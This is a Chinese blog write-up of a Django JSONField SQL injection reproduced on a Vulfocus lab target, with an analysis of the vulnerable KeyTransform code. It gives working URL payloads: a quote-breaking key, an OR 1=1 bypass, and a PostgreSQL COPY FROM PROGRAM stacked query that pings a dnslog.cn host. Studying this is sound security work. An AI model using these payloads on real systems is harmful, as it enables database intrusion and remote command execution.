Django JSONField SQL注入漏洞 复现 & 原理分析

  • Post author:
  • Post category:其他


关于这个漏洞前几天看了很多的文章,其实大部分payload是一样的,都是如何去构造,或者去命令执行复现一下,我一开始也是这样去做的,但是这个漏洞是怎么形成的,对我来说可能一知半解,或者说完全不了解,在后面学习的过程中感觉吃力又去补习了别的知识,比如Django的两个基类,ArrayField、JSONField,Json.objects.filter()和QuerySet相关的知识,包括ORM注入等等

1/漏洞原理

PostgreSQL、SQLite3、MySQL、Oracle,在大部分情况下,以上四种数据库都能与Django框架配合工作,Django在对PostgreSQL提供了强大的功能同时,在成本、特性、速度和稳定性方面都做的比较平衡,当然官方也建议该框架配合Postgresql一起使用

相比较MySQL,PostgreSQL支持多种高级数据类型,比如array,MySQL只支持标准类型。同时PostgreSQL支持P地址数据类型、常量、函数调用、JSON和其他NoSQL功能,这让这个关系型数据库也拥有了一些NoSQL的特点,MySQL支持JSON不过不支持其他的NoSQL功能,当然PostgreSQL不只是一个关系型数据库,还支持非关系数据类型JSON

  • JSONField

  • ArrayField

  • HStoreField

在Django的model.py中定义JSONField:

max_length为最大长度类型,detail存储了可查询的信息

比如,detail中存储了如下的一些信息

如果我想查询关于ganyu的所有文章呢?

就可以使用Django的QuerySet(

Collection为上方定义的类,QuerySet支持部分链式调用,如all接口就可以用于查询所有数据,detail__author中detail是一个JSONField,而下划线后的内容代表着JSON中的键名,而不再是常规QuerySet表示的“外键”

)来实现

sganyu = Collection.objects.filter(detail__author='ganyu').all()

那么,如果查询内容含有python的tags的文章呢?构造一个包含python的查询集

sganyu = Collection.objects.filter(detail__tags__contains='python').all()

如何进行查找的呢?在Django中有两个基类,分别是Lookup(用于查找字符串)和Transform(用于转换字段),如以下的例子

参考连接:

Lookup API reference | Django documentation | Django (djangoproject.com)

sganyu = Collection.objects.filter(detail__tags__contains=’python’).all()


__tags对应的是Transform,__contains对应的是’python’

  • __tags对应Transform,表如何去寻找关联的字段,就比如Collection.objects.filter(detail__author=’ganyu’).all(),就可以表示在author连接的用户表中找到ganyu

  • __contains对应’python’,表与后面的值进行对比

以上可以用sql语句理解为

where ‘users’ lookup Transform ‘value’

也就是

select * from xxx where users.username = ‘value’

到这里,JSONField用的KeyTransformFactory类返回KeyTransform对象,transform和lookup需要一个名为as_sql的方法用来生成SQL语句,如下

class KeyTransformFactory:
    def __init__(self, key_name):
        self.key_name = key_name

    def __call__(self, *args, **kwargs):
        return KeyTransform(self.key_name, *args, **kwargs)

class KeyTransform(Transform):
    operator = '->'
    nested_operator = '#>'

    def __init__(self, key_name, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.key_name = key_name

    def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            int(self.key_name)
        except ValueError:
            lookup = "'%s'" % self.key_name
        else:
            lookup = "%s" % self.key_name
        return "(%s %s %s)" % (lhs, self.operator, lookup), params

也就是


WHERE (field->'[key_name]’) = ‘value’


当key_name为用户可控时,因此闭合该语句尝试回显进行注入,造成sql注入

但是通常对于detail__author来说,用户无法去控制只能控制其中的值,也就是ganyu,除非我们可以控制filter方法的参数名,比如


Collection.objects.filter(**{“””detail__author’='”a”‘) OR 1=1 OR(‘b”””:’x’,})

2/漏洞复现

复现环境


Vulfocus 漏洞威胁分析平台

直奔主题就好

URL:

http://123.58.236.76:56873/admin/vuln/collection/

payload:



http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27b=123


实则,执行的语句为


Collection.objects.filter(**dict(“detail__a’b”: ‘1’)).all()

其实做到这里,flag也就出来了

我们可以尝试让它闭合为真

payload:



http://123.58.236.76:56873/admin/vuln/collection/?detail__a%27)%3d%271%27%20or%201%3d1–%20

再结合CVE-2019-9193尝试进行命令注入,构造url如下

利用网址:

DNSLog Platform


payload:


http://123.58.236.76:56873/admin/vuln/collection/?detail__a’)%3d’1′ or 1%3d1 %3bcopy cmd_exec FROM PROGRAM ‘ping 3lagr6.dnslog.cn

‘–%20


芜湖,寄了,理应是可以在dnslog.cn中检测到流量的

3/总结

自己还是太菜了



版权声明:本文为qq_58784379原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。